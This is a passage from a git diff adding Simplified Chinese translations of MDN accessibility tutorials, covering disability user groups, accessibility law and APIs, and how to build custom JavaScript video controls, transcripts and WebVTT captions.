href="https://wiki.gnome.org/Projects/Orca">Orca</a> (Linux).</li> + <li>有些内置在操作系统中,比如 <a class="external external-icon" href="http://www.apple.com/accessibility/osx/voiceover/">VoiceOver</a> (Mac OS X and iOS), <a class="external external-icon" href="https://support.microsoft.com/en-us/help/22798/windows-10-narrator-get-started">Narrator</a> (Microsoft Windows), <a class="external external-icon" href="http://www.chromevox.com/">ChromeVox</a> (on Chrome OS),和 <a class="external external-icon" href="https://play.google.com/store/apps/details?id=com.google.android.marvin.talkback">TalkBack</a> (Android).</li> +</ul> + +<p>让自己熟悉屏幕阅读器是个好主意;您还应该设置一个屏幕阅读器并充分的使用它(盘它),以了解它是如何工作的。请参阅我们的<a href="/zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/%E5%8F%AF%E8%AE%BF%E9%97%AE%E6%80%A7#%E5%B1%8F%E5%B9%95%E9%98%85%E8%AF%BB%E5%99%A8">跨浏览器屏幕阅读器测试向导</a>,以了解更多使用它们的细节。下面的视频还提供了一个简单的例子说明了体验是怎样的。</p> + +<p>{{EmbedYouTube("IK97XMibEws")}}</p> + +<p>据统计,世界卫生组织估计“全球有2.85亿人视力受损:3900万人失明,2.46亿人视力低下。”(参见<a href="http://www.who.int/mediacentre/factsheets/fs282/en/">视力障碍和失明</a>)。这是一个庞大而重要的用户群却仅因为你的网站没有合理的设计代码而流失——几乎相当于美国的人口总数。</p> + +<h3 id="有听觉障碍的人">有听觉障碍的人</h3> + +<p>也被称为有听力障碍的人或聋子,这群人要么听力水平较低要么或者完全听不到。这些人使用辅助技术(请参考 <a href="https://www.nidcd.nih.gov/health/assistive-devices-people-hearing-voice-speech-or-language-disorders">听力、语音、说话或语言障碍患者的辅助设备</a>), 但是并没有专用于计算机/网页的辅助技术。</p> + +<p>但是,现在有专门的技术用于将文本转换成音频内容,范围从转换简单的文本文字到转换与视频一起显示的字幕。 稍后,有文章将讨论这些技术。</p> + +<p>听力受损的人也代表着一个重要的用户群体——“全世界有4.66亿人患有听力障碍”,世界卫生组织的耳聋和听力受损状况报告如此宣称。</p> + +<h3 id="行动障碍的人">行动障碍的人</h3> + +<p>这些人在行动方面存在着残疾,可能是因为纯粹的身体问题(例如肢体丧失或瘫痪),或导致肢体无力或失去控制的神经系统/遗传疾病。 有些人可能难以做出使用鼠标所需的精准手部动作,而另一些人则可能受到的影响更为严重,可能会严重瘫痪到需要使用<a href="https://www.performancehealth.com/baseball-cap-head-pointer">头部指针</a>与计算机进行交互的地步。</p> + +<p>这种残疾也可能是由于年老体衰导致,而不是任何特定的创伤或状况造成,也可能是由于硬件限制所致——有些用户可能没有鼠标。</p> + +<p>这些残疾通常影响Web开发工作的方式是要求通过键盘就可以访问控件——我们将在本模块的后续文章中讨论键盘可访问性,但最好是仅通过使用键盘来尝试访问一些网站,看看你能够做些什么。例如,您可以使用Tab键在Web表单的不同控件之间移动吗? 您可以在我们的“<a href="/zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Using_native_keyboard_accessibility">跨浏览器测试使用本机键盘的可访问性</a>”章节中找到有关键盘控制的更多详细信息。</p> + +<p>据统计,有相当多的人患有行动障碍症。美国疾病控制与防御中心的“<a href="https://www.cdc.gov/nchs/fastats/disability.htm">残疾与机能(18岁及以上的非住院成年人)</a>”报道称美国有15.1%的成年人都患有身体功能疾病。</p> + +<h3 id="有认知障碍的人">有认知障碍的人</h3> + +<p>认知障碍涵盖了一类范围广泛的残疾,从能力最受限的智障人士到随着年龄增长而导致思考和记忆困难的所有人。 该范围包括了患有精神疾病的人,例如抑郁症和精神分裂症患者。 还包括有学习障碍的人,例如阅读障碍患者和有注意力缺陷的多动症患者。 重要的是,尽管认知障碍的临床定义存在很多差异,但与之相关的人们会遇到同一类功能问题。 这类问题包括很难理解页面内容,难以记住如何完成任务,以及因不一致的网页布局而产生困惑。</p> + +<p>对认识障碍人士来说一个好的可访问性机制包括:</p> + +<ul> + <li>使用多种方式传达内容,比如从文本到语音或是视频;</li> + <li>更易理解的内容,例如使用更通俗的语言书写的文本;</li> + <li>将注意力集中在重要内容上;</li> + <li>尽量减少干扰,例如不必要的内容或广告;</li> + <li>一致的网页布局和导航;</li> + <li>相似的元素,比如未访问的下划线链接使用蓝色而访问过的使用紫色;</li> + <li>将过程划分为更有逻辑的,必要的步骤并附上进度指示器;</li> + <li>在不影响安全性的情况下尽可能让网站认证更简单;并且</li> + <li>使表单容易完成,例如带有清晰的错误消息和简单的错误恢复。</li> +</ul> + +<h3 id="注意">注意</h3> + +<ul> + <li>具有<a href="/en-US/docs/Web/Accessibility/Cognitive_accessibility">认知可访问性</a>的设计将导致良好的设计实践。 他们将使所有人受益。</li> + <li>许多有认知障碍的人也可能患有身体残疾。网站必须遵循W3C的“<a href="https://www.w3.org/WAI/standards-guidelines/wcag/">网页内容可访问性指南</a>”包括<a href="/en-US/docs/Web/Accessibility/Cognitive_accessibility#Guidelines">认知可访问性指南</a>。</li> + <li>W3C的“<a href="https://www.w3.org/WAI/GL/task-forces/coga/">认知和学习残疾无障碍专案组</a>”为认知障碍人士制作了web可访问性指南。</li> + <li>WebAIM有一个<a href="https://webaim.org/articles/cognitive/">认知网页</a>提供了相关的信息和资源。</li> + <li>美国疾病控制中心估计,截至2018年,美国四分之一的公民有残疾,<a href="https://www.cdc.gov/media/releases/2018/p0816-disability.html">其中认知障碍是年轻人最常见的疾病</a>。</li> + <li>在美国,“智力障碍”是“智力低下”的新术语。 在英国,“智力障碍”通常是指“学习障碍”或“学习困难”。</li> +</ul> + +<h2 id="在你的项目中实现可访问性">在你的项目中实现可访问性</h2> + +<p>一个流行的关于可访问性的传言认为:可访问性是实施在项目上的昂贵“附加功能”。这个传言确实可能成立,只要遇到以下任一情况:</p> + +<ul> + <li>你正在试图为一个现有存在重大可访问性问题的网站“改造”可访问性。</li> + <li>您只是在项目后期才开始考虑可访问性和此时才暴露的相关问题。</li> +</ul> + +<p>然而如果你能在项目的开始阶段就考虑到可访问性的话,使大多数内容无障碍化的代价就会相当微小。</p> + +<p>在规划项目时,将可访问性测试纳入测试体系,就像对其他任何重要目标受众群体(例如台式机或移动浏览器的目标用户)进行测试一样。 尽早和经常进行测试,理想情况下运行自动化测试找出程序化方式可检测到的缺失功能(例如,缺少图像<a href="/zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Text_alternatives">替代文本</a>或不良链接文字——请参阅<a href="/zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Element_relationships_and_context">元素关系与上下文</a>),并对残疾人士的用户群进行一些测试,以查看更复杂的网站功能是否对他们可用。 例如:</p> + +<ul> + <li>我的日期选择器小部件是否可供使用屏幕阅读器的人使用?</li> + <li>如果内容动态更新,视力受损的人知道吗?</li> + <li>我的UI按钮是否可以使用键盘和触碰界面进行访问?</li> +</ul> + +<p>您可以并且应该在内容中记下潜在的问题区域,这些地方需要进行一些工作才能使其变得可访问,确保对其进行了彻底的测试并考虑解决方案/替代方法。 文本内容(如您将在下一篇文章中看到的)相对容易,但是多媒体内容和时髦的3D图形又如何呢? 您应该查看项目预算,并考虑可以使用哪些解决方案来实现这类内容的可访问性。 转录所有多媒体内容是一种选择,当然成本可能很高。</p> + +<p>还有,现实一点。“100%的可访问性”是一个无法实现的理想——你总是会遇到某种边缘情况,导致某个用户发现某些内容难以使用——但你应该尽你所能去做。如果您计划包含一个使用WebGL呈现的时髦三维饼图,您可能希望也包含一个数据表,作为数据的可访问的替代表示。或者,您可能只需要包含表而去除3D饼图——这样每个人都可以访问该表,编写起来也更快,还能减少运行时的CPU耗费,维护也更容易。</p> + +<p>另一方面,如果您正在一个画廊网站上展示有趣的3D艺术,期望每件艺术品都能被视觉障碍人士完美的访问是不合理的,毕竟它是一种完全的视觉媒体。</p> + +<p>为了表明您关心并考虑了可访问性,请在您的网站上发布可访问性声明,其中详细说明您对可访问性的政策以及为使该站点可访问而采取的步骤。 如果有人确实反映您的网站存在可访问性问题,请与他们展开对话,保持同情心,并采取合理的步骤尝试解决问题。</p> + +<div class="note"> +<p><strong>注意:我们的“<a href="/zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">处理常见的可访问性问题</a>”一文涵盖了应更详细地测试的可访问性细节。</strong></p> +</div> + +<p>总结:</p> + +<ul> + <li>从项目一开始就考虑可访问性,并尽早进行测试。就像任何其他bug一样,越晚发现可访问性问题,修复它的代价会更高。</li> + <li>请记住,许多可访问性的最佳实践对每个人都有好处,而不仅仅局限于残疾人士。例如,原语标记不仅对屏幕阅读器有好处,而且使加载速度和性能也更快,因此对每个人来说都更有益,尤其是那些使用移动设备和/或慢速网络连接环境的人。</li> + <li>在您的站点上发布可访问性声明,并与遇到问题的人接触。</li> +</ul> + +<h2 id="无障碍指南和法律">无障碍指南和法律</h2> + +<p>有许多可用于基于可访问性测试的检查列表和指南集,乍一看,这些准则可能会让人望而却步。我们的建议是让自己熟悉你需要注意的基本领域,以及理解与你最相关的指导方针的高层结构。</p> + +<ul> + <li>首先,W3C发布了一个庞大而详细的文档,其中包含了非常精确的、与技术无关的可访问性一致性标准。这些被称为Web内容可访问性指南(WCAG),它们绝不是短读的。这些标准分为四大类,它们指定如何使实现具有可感知性、可操作性、可理解性和鲁棒性。最好的地方得到一个简单的介绍和开始学习是一目了然。没有必要用心学习WCAG——注意主要关注的领域,并使用各种技术和工具来突出任何不符合WCAG标准的区域(更多信息见下文)。</li> + <li>贵国还可能有具体立法,规定为其人口提供服务的网站必须能够访问-例如,美国“康复法”第508条、德国关于无障碍信息技术的联邦法令、联合王国的“平等法”、意大利的“无障碍法”、澳大利亚的“残疾歧视法”等。</li> +</ul> + +<p>因此,虽然WCAG是一套指导方针,但您的国家可能会有关于网络可访问性的法律,或者至少是对公众提供的服务的无障碍(包括网站、电视、物理空间等)。找出你的法律是个好主意。如果您不努力检查您的内容是否可访问,您可能会陷入法律的麻烦,如果有二重性的人抱怨它。</p> + +<p>这听起来很严肃,但正如上文所述,您只需要将可访问性视为Web开发实践的主要优先事项。如果有疑问,请咨询合格的律师。我们不会提供比这更多的建议,因为我们不是律师。</p> + +<h2 id="可访问性API">可访问性API</h2> + +<p>Web浏览器使用特殊的可访问性API(由底层操作系统提供),这些API公开对辅助技术(ATS)有用的信息-ATS大多倾向于使用原语信息,因此这些信息不包括样式信息或javascript之类的内容。此信息是在一个称为可访问性树的信息树中构造的。</p> + +<p>不同的操作系统有不同的可访问性API:</p> + +<ul> + <li>Windows: MSAA/IAccessible, UIAExpress, IAccessible2</li> + <li>Mac OS X: NSAccessibility</li> + <li>Linux: AT-SPI</li> + <li>Android: Accessibility framework</li> + <li>iOS: UIAccessibility</li> +</ul> + +<p>如果 Web 应用中的 HTML 元素提供的本机语义信息失效,则可以使用 <a href="https://www.w3.org/TR/wai-aria/">WAI-ARIA specification</a> 的功能来补充该信息,这些功能向辅助功能树添加语义信息以提高可访问性。在 <a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA basics</a> 文章中了解有关 WAI-ARIA 的更多详细信息。</p> + +<h2 id="摘要">摘要</h2> + +<p>本文应该给您提供一个有用的可访问性的高级概述,向您展示为什么它是重要的,并研究如何将它融入您的工作流程。现在,您还应该渴望了解可以使站点可访问的实现细节,我们将在下一节中开始,了解为什么HTML是可访问性的良好基础。</p> + +<p>{{NextMenu("Learn/Accessibility/HTML", "Learn/Accessibility")}}</p> + +<h2 id="在本模块中">在本模块中</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Accessibility/What_is_accessibility">What is accessibility?</a></li> + <li><a href="/en-US/docs/Learn/Accessibility/HTML">HTML: A good basis for accessibility</a></li> + <li><a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript">CSS and JavaScript accessibility best practices</a></li> + <li><a href="/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA basics</a></li> + <li><a href="/en-US/docs/Learn/Accessibility/Multimedia">Accessible multimedia</a></li> + <li><a href="/en-US/docs/Learn/Accessibility/Mobile">Mobile accessibility</a></li> + <li><a href="/en-US/docs/Learn/Accessibility/Accessibility_troubleshooting">Accessibility troubleshooting</a></li> +</ul> + +<h2 id="另见">另见</h2> + +<ul> + <li><a href="/zh-CN/docs/"><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span></a><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span> <a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG">WCAG</a><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span> + + <ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable">Perceivable</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable">Operable</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Understandable">Understandable</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Robust">Robust</a></li> + </ul> + </li> +</ul> + +<dl> +</dl> diff --git a/files/zh-cn/learn/accessibility/多媒体/index.html b/files/zh-cn/learn/accessibility/多媒体/index.html new file mode 100644 index 0000000000..660ebca836 --- /dev/null +++ b/files/zh-cn/learn/accessibility/多媒体/index.html @@ -0,0 +1,354 @@ +--- +title: 多媒体的可访问性(Accessible multimedia) +slug: learn/Accessibility/多媒体 +translation_of: Learn/Accessibility/Multimedia +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Accessibility/WAI-ARIA_basics","Learn/Accessibility/Mobile", "Learn/Accessibility")}}</div> + +<p class="summary"><font>可能导致可访问性问题(</font>accessibility problems <font>)的另一类内容是多媒体 ——视频,音频和图像内容需要提供适当的文本替代方式,以便辅助技术及其用户能够理解它们。本文展示了具体内容。</font></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">先决条件:</th> + <td><font><font>基本的计算机素养,对HTML,CSS和JavaScript的基本理解,</font></font><font><font><a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/What_is_accessibility">对可访问性</a> </font></font><font><font>的理解</font><font>。</font></font></td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>了解多媒体背后的可访问性问题,以及如何克服这些问题。</td> + </tr> + </tbody> +</table> + +<h2 id="多媒体和可访问性"><font><font>多媒体和可访问性</font></font></h2> + +<p><font><font>到目前为止,在这个模块中,我们已经查看了各种内容以及需要做些什么来确保其可访问性,从简单的文本内容到数据表,图像,本机控件(如表单元素和按钮)以及更复杂的标记结构(具有</font></font><a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/WAI-ARIA_basics"><font><font>WAI-ARIA</font></font></a><font><font>属性)。</font></font></p> + +<p><font><font>另一方面,这篇文章着眼于另一个一般的内容类别,可以说它不容易确保对多媒体的可访问性。</font><font>图像,视频,</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/canvas" title="使用HTML <canvas>元素与画布脚本API或WebGL API绘制图形和动画。"><code><canvas></code></a><font><font>元素,Flash电影等不易被屏幕阅读器理解或被键盘导航,我们需要帮助他们。</font></font></p> + +<p><font><font>但不要绝望 - 在这里我们将帮助您浏览可用于使多媒体更容易访问的技术。</font></font></p> + +<h2 id="简单图像">简单图像</h2> + +<p>我们已经介绍了 HTML 图像的简单文本替代<a href="/en-US/docs/Learn/Accessibility/HTML">HTML: A good basis for accessibility</a> –– 您可以参考其中了解详细信息。简而言之,应确保在可能的情况下,视觉内容具有替代文本,供屏幕阅读器拾取和读取给其用户。</p> + +<p>示例:</p> + +<pre class="brush: html"><img src="dinosaur.png" + alt="A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth."> +</pre> + +<h2 id="可访问的音频和视频控件">可访问的音频和视频控件</h2> + +<p>基于 Web 的音频/视频执行控件不应该成为问题,对吗?让我们来调查一下。</p> + +<h3 id="本地_HTML5_控件的问题">本地 HTML5 控件的问题</h3> + +<p>HTML5 视频和音频实例甚至附带一组内置控件,允许您直接在盒子控制媒体。例如(请参阅<a href="om/mdn/learning-area/blob/master/accessibility/multimedia/native-controls.html">本地控件.html</a> 源代码和<a href="http://mdn.github.io/learning-area/accessibility/multimedia/native-controls.html">实时演示</a>):</p> + +<pre class="brush: html"><audio controls> + <source src="viper.mp3" type="audio/mp3"> + <source src="viper.ogg" type="audio/ogg"> + <p>Your browser doesn't support HTML5 audio. Here is a <a href="viper.mp3">link to the audio</a> instead.</p> +</audio> + +<br> + +<video controls> + <source src="rabbit320.mp4" type="video/mp4"> + <source src="rabbit320.webm" type="video/webm"> + <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.mp4">link to the video</a> instead.</p> +</video></pre> + +<p>控件属性提供播放/暂停按钮、搜索栏等 - 您期望从媒体播放器获得的基本控件。它看起来像在Firefox 和 Chrome:</p> + +<p><img alt="Screenshot of Video Controls in Firefox" src="https://mdn.mozillademos.org/files/14440/native-controls-firefox.png" style="display: block; height: 361px; margin: 0px auto; width: 400px;"></p> + +<p><img alt="Screenshot of Video Controls in Chrome" src="https://mdn.mozillademos.org/files/14438/native-controls-chrome.png" style="display: block; height: 344px; margin: 0px auto; width: 400px;"></p> + +<p>但是,这些控件存在问题:</p> + +<ul> + <li>在除Opera 以外任何浏览器中,它们不可通过键盘访问。</li> + <li>Different browsers give the native controls differing styling and functionality, and they aren't stylable, meaning that they can't be easily made to follow a site style guide.不同的浏览器为本地控件提供了不同的样式和功能(非样式化的),这意味着它们不容易按照网站样式指南进行。</li> +</ul> + +<p>为了解决这个问题,我们可以创建自己的自定义控件。让我们来看看如何。</p> + +<h3 id="创建自定义音频和视频控件">创建自定义音频和视频控件</h3> + +<p>HTML5 视频和音频共享 API — HTML Media Element — 允许您将自定义功能映射到按钮和其他控件––这两个控件都是您自己定义的。</p> + +<p>让我们从上面获取视频示例,并向其添加自定义控件。</p> + +<h4 id="基本设置">基本设置</h4> + +<p>首先,获取我们的<a href="https://github.com/mdn/learning-area/blob/master/accessibility/multimedia/custom-controls-start.html">custom-controls-start.html</a>、<a href="https://github.com/mdn/learning-area/blob/master/accessibility/multimedia/custom-controls.css">custom-controls.css</a>、 <a href="https://raw.githubusercontent.com/mdn/learning-area/master/accessibility/multimedia/rabbit320.mp4">rabbit320.mp4</a> 和 <a href="https://raw.githubusercontent.com/mdn/learning-area/master/accessibility/multimedia/rabbit320.webm">rabbit320.webm</a>文件的副本,并将它们保存在硬盘上的新目录中。</p> + +<p>创建一个名为 main.js 的新文件并将其保存在同一目录中。</p> + +<p>首先,让我们在 HTML 中查看视频播放器的 HTML:</p> + +<pre class="brush: html"><section class="player"> + <video controls> + <source src="rabbit320.mp4" type="video/mp4"> + <source src="rabbit320.webm" type="video/webm"> + <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.mp4">link to the video</a> instead.</p> + </video> + + <div class="controls"> + <button class="playpause">Play</button> + <button class="stop">Stop</button> + <button class="rwd">Rwd</button> + <button class="fwd">Fwd</button> + <div class="time">00:00</div> + </div> +</section></pre> + +<h4 id="JavaScript基本设置">JavaScript基本设置</h4> + +<p>我们在视频下方插入了一些简单的控制按钮。当然,这些控件在默认情况下不会执行任何操作。要添加功能,我们将使用 JavaScript。</p> + +<p>我们首先需要存储对每个控件的引用––将以下内容添加到 JavaScript 文件的顶部:</p> + +<pre class="brush: js">var playPauseBtn = document.querySelector('.playpause'); +var stopBtn = document.querySelector('.stop'); +var rwdBtn = document.querySelector('.rwd'); +var fwdBtn = document.querySelector('.fwd'); +var timeLabel = document.querySelector('.time');</pre> + +<p>接下来,我们需要获取对视频/音频播放器本身的引用––在前面的代码行下方添加此行代码:</p> + +<pre class="brush: js">var player = document.querySelector('video');</pre> + +<p>这包含对{{domxref("HTMLMediaElement")}}对象的引用,该对象具有几个有用的属性和方法,可用于将功能连接到我们的按钮。</p> + +<p>在开始创建按钮功能之前,让我们删除本地控件,以免它们妨碍我们的自定义控件。在 JavaScript 的底部再次添加以下内容:</p> + +<pre class="brush: js">player.removeAttribute('controls');</pre> + +<p>这样做,而不是仅仅不包括控件属性摆在首位有一个优势,如果我们的JavaScript失败,用户仍然有一些控件可用。</p> + +<h4 id="连接按钮">连接按钮</h4> + +<p>首先,让我们设置播放/暂停按钮。我们可以使用一个简单的条件函数在播放和暂停之间切换,如下所示。将其添加到代码底部:</p> + +<pre class="brush: js">playPauseBtn.onclick = function() { + if(player.paused) { + player.play(); + playPauseBtn.textContent = 'Pause'; + } else { + player.pause(); + playPauseBtn.textContent = 'Play'; + } +};</pre> + +<p>接下来,将此代码添加到底部,该代码控制停止按钮:</p> + +<pre class="brush: js">stopBtn.onclick = function() { + player.pause(); + player.currentTime = 0; + playPauseBtn.textContent = 'Play'; +};</pre> + +<p>在 {{domxref("HTMLMediaElement")}}s上没有可用的 <code>stop() </code>函数,因此我们改为<code>pause()</code>它,同时将当前时间设置为 0。</p> + +<p>接下来,我们的快退和快进按钮–– 将以下块添加到代码的底部:</p> + +<pre class="brush: js">rwdBtn.onclick = function() { + player.currentTime -= 3; +}; + +fwdBtn.onclick = function() { + player.currentTime += 3; + if(player.currentTime >= player.duration || player.paused) { + player.pause(); + player.currentTime = 0; + playPauseBtn.textContent = 'Play'; + } +};</pre> + +<p>这些非常简单,每次单击它们时,只需将 3 秒添加到<code>currentTime</code>。在真正的视频播放器中,您可能想要一个更精细的查找栏或类似功能。</p> + +<p>请注意,当按下 Fwd 按钮时,我们还会检查<code>currentTime</code>是否超过总媒体的<code>duration</code>,或者媒体是否未播放。如果任一条件为 true,我们只需停止视频,以避免用户界面出错,如果他们试图在视频未播放时快进,或快进通过视频结束。</p> + +<p>最后,将以下内容添加到代码末尾,以控制显示的时间:</p> + +<pre class="brush: js">player.ontimeupdate = function() { + var minutes = Math.floor(player.currentTime / 60); + var seconds = Math.floor(player.currentTime - minutes * 60); + var minuteValue; + var secondValue; + + if (minutes<10) { + minuteValue = "0" + minutes; + } else { + minuteValue = minutes; + } + + if (seconds<10) { + secondValue = "0" + seconds; + } else { + secondValue = seconds; + } + + mediaTime = minuteValue + ":" + secondValue; + timeLabel.textContent = mediaTime; +};</pre> + +<p>每次更新时间(每秒一次)时,我们都会触发此功能。它算出给定的当前时间值(以秒为单位)的分钟和秒数,如果分钟或秒值小于 10,则添加前导 0,然后创建显示读出并将其添加到时间标签。</p> + +<h4 id="阅读延伸">阅读延伸</h4> + +<p>这为您提供了如何向视频/音频播放器实例添加自定义播放器功能的基本想法。有关如何向视频/音频播放器添加更复杂的功能(包括旧版浏览器的 Flash 回退)的详细信息,请参阅:</p> + +<ul> + <li><a href="/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_delivery">Audio and video delivery</a></li> + <li><a href="/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/Video_player_styling_basics">Video player styling basics</a></li> + <li><a href="/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/cross_browser_video_player">Creating a cross-browser video player</a></li> +</ul> + +<p>我们还创建了一个高级示例,以演示如何创建面向对象的系统,该系统可查找页面上的每个视频和音频播放器(无论有多少个视频和音频播放器),并将自定义控件添加到其中。请参阅<a href="http://mdn.github.io/learning-area/accessibility/multimedia/custom-controls-OOJS/">custom-controls-oojs</a>(<a href="https://github.com/mdn/learning-area/tree/master/accessibility/multimedia/custom-controls-OOJS">see the source code</a>)。</p> + +<h2 id="音频脚本">音频脚本</h2> + +<p>要为聋人提供访问音频内容的机会,您确实需要创建文本脚本。这些可以以某种方式与音频一样包含在与音频相同的页面上,也可以包含在单独的页面上并链接到</p> + +<p>在实际创建脚本方面,您的选项包括:</p> + +<ul> + <li>商业服务––您可以向专业人士支付报酬进行转录,例如 <a href="https://scribie.com/">Scribie</a>、<a href="https://castingwords.com/">Casting Words</a>或<a href="https://www.rev.com/">Rev</a>公司. 询问并征求意见,以确保您找到一家信誉良好的公司,您可以有效地合作。</li> + <li>社区/草根/自我转录 – 如果您是工作场所中活跃社区或团队的一员,您可以请求他们帮助翻译。你甚至可以自己去做。</li> + <li>自动服务 – 提供自动服务,例如,当您将视频上传到 YouTube 时,您可以选择生成自动字幕/脚本。根据语音音频的清晰程度,生成的脚本质量将有很大差异。</li> +</ul> + +<p>和生活中的大多数事情一样,你倾向于得到你所付出的;不同的服务在准确性和制作成绩单所花时间方面会有所不同。如果你支付一个有信誉的公司做转录,你可能会得到它迅速和高质量的。如果你不想付钱,你很可能会以较低的质量完成,并且/或缓慢完成。</p> + +<p>发布音频资源是不行的,但承诺稍后会发布脚本 - 此类承诺通常不会兑现,这将削弱您和您的用户之间的信任。如果您演示的音频类似于面对面会议或现场演讲表演,则可以在演出期间做笔记,与音频一起完整发布笔记,然后寻求帮助,以便稍后清理笔记。</p> + +<h3 id="脚本示例">脚本示例</h3> + +<p>如果使用自动服务,则可能需要使用该工具提供的用户界面。例如,查看<a href="https://www.youtube.com/watch?v=zFFBsj97Od8">Audio Transcription Sample 1</a>并选择" <em>More > Transcript</em>"。</p> + +<p>如果要创建自己的用户界面来显示音频和相关脚本,您可以随心所欲地执行此操作,但将其包含在可显示/可隐藏面板中可能有意义;请参阅我们的<a href="http://mdn.github.io/learning-area/accessibility/multimedia/audio-transcript-ui/">audio-transcript-ui</a> 示例(另请参阅<a href="https://github.com/mdn/learning-area/tree/master/accessibility/multimedia/audio-transcript-ui">source code</a>)。</p> + +<h3 id="音频描述">音频描述</h3> + +<p>在音频附带视频的情况下,您需要提供某种音频说明来描述该额外内容。</p> + +<p>在许多情况下,这只会采取视频的形式,在这种情况下,您可以使用本文下一节中介绍的技术实现字幕。</p> + +<p>但是,有一些边缘情况。例如,您可能有一个会议的音频录制,该录音引用了附带的资源,如电子表格或图表。在这种情况下,应确保资源与音频和脚本一起提供,并在成绩单中提及它们的位置专门链接到这些资源。这当然会帮助所有用户,而不仅仅是聋人。</p> + +<div class="note"> +<p><strong>注意</strong>:音频脚本通常有助于多个用户组。除了让聋人用户访问音频中包含的信息外,还考虑一个带宽连接较低的用户,他们会发现下载音频不方便。还要考虑在嘈杂的环境中(如酒吧或酒吧)中的用户,他们试图访问信息,但无法通过噪音听到信息。</p> +</div> + +<h2 id="视频文本轨道">视频文本轨道</h2> + +<p>要使聋人、盲人甚至其他用户组(如低带宽用户或不理解视频录制的语言的用户)可以访问视频,您需要在视频内容中包括文本轨道。</p> + +<div class="note"> +<p><strong>注意</strong>:文本轨道对于潜在的任何用户也很有用,而不仅仅是那些残障用户。例如,有些用户可能无法听到音频,因为他们处于嘈杂的环境中(如显示体育游戏时的拥挤的酒吧),或者如果其他人在安静的地方(如图书馆),则可能不想打扰其他人。</p> +</div> + +<p>这不是一个新概念 ––电视服务已经关闭了字幕相当长的时间了:</p> + +<p><img alt='Frame from an old-timey cartoon with closed captioning "Good work, Goldie. Keep it up!"' src="https://mdn.mozillademos.org/files/14436/closed-captions.png" style="display: block; height: 240px; margin: 0px auto; width: 320px;"></p> + +<p>许多国家/地区提供以英语为母语的字幕的英语电影,例如,DVD 上通常提供不同的语言字幕</p> + +<p><img alt='An English film with German subtitles "Emo, warum erkennst du nicht die Schonheit dieses Ortes?"' src="https://mdn.mozillademos.org/files/14442/Subtitles_German.jpg" style="display: block; margin: 0 auto;"></p> + +<p>不同类型的文本轨道具有不同的目的。你遇到的主要情况是:</p> + +<ul> + <li>标题 ––对于听不到音轨(包括所讲的单词,还有环境信息,如说话、以及用来营造喜怒气氛的音乐等)的聋人用户而言是有利的。</li> + <li>字幕––为不懂所讲语言的用户提供音频对话框的翻译。</li> + <li>说明–– 这些描述包括无法观看视频的盲人的描述,例如场景的外观。</li> + <li>章节标题––旨在帮助用户导航媒体资源的章节标记</li> +</ul> + +<h3 id="实现_HTML5_视频文本轨道">实现 HTML5 视频文本轨道</h3> + +<p>使用 HTML5 视频显示的文本轨道需要用 WebVTT 编写,WebVTT 是一种文本格式,其中包含多个文本字符串以及元数据,例如您希望在视频中显示每个文本字符串的时间,甚至限制样式/定位信息。这些文本字符串称为提示。</p> + +<p>典型的 WebVTT 文件如下所示:</p> + +<pre>WEBVTT + +1 +00:00:22.230 --> 00:00:24.606 +This is the first subtitle. + +2 +00:00:30.739 --> 00:00:34.074 +This is the second. + + ...</pre> + +<p>要将此信息与 HTML 媒体播放一起显示,您需要:</p> + +<ul> + <li>将其保存为 .vtt 文件,放在一个合理的地方。</li> + <li>Link to the .vtt file with the {{htmlelement("track")}} element. <code><track></code> should be placed within <code><audio></code> or <code><video></code>, but after all <code><source></code> elements. Use the {{htmlattrxref("kind","track")}} attribute to specify whether the cues are subtitles, captions, or descriptions. Furthermore, use {{htmlattrxref("srclang","track")}} to tell the browser what language you have written the subtitles in.使用 {{htmlelement("track")}} 元素链接到 .vtt 文件。<code><track></code>应放在<code><audio></code>或<code><video></code>内,但在<code><source></code>元素之后。使用 {{htmlattrxref("kind","track")}}属性指定提示是字幕、标题还是说明。此外,使用 {{htmlattrxref("srclang","track")}} 告诉浏览器您用什么语言编写字幕。</li> +</ul> + +<p>下面是一个示例:</p> + +<pre class="brush: html"><video controls> + <source src="example.mp4" type="video/mp4"> + <source src="example.webm" type="video/webm"> + <track kind="subtitles" src="subtitles_en.vtt" srclang="en"> +</video></pre> + +<p>这将产生显示字幕的视频,如下所示:</p> + +<p><img alt='Video player with standard controls such as play, stop, volume, and captions on and off. The video playing shows a scene of a man holding a spear-like weapon, and a caption reads "Esta hoja tiene pasado oscuro."' src="https://mdn.mozillademos.org/files/7887/video-player-with-captions.png" style="display: block; height: 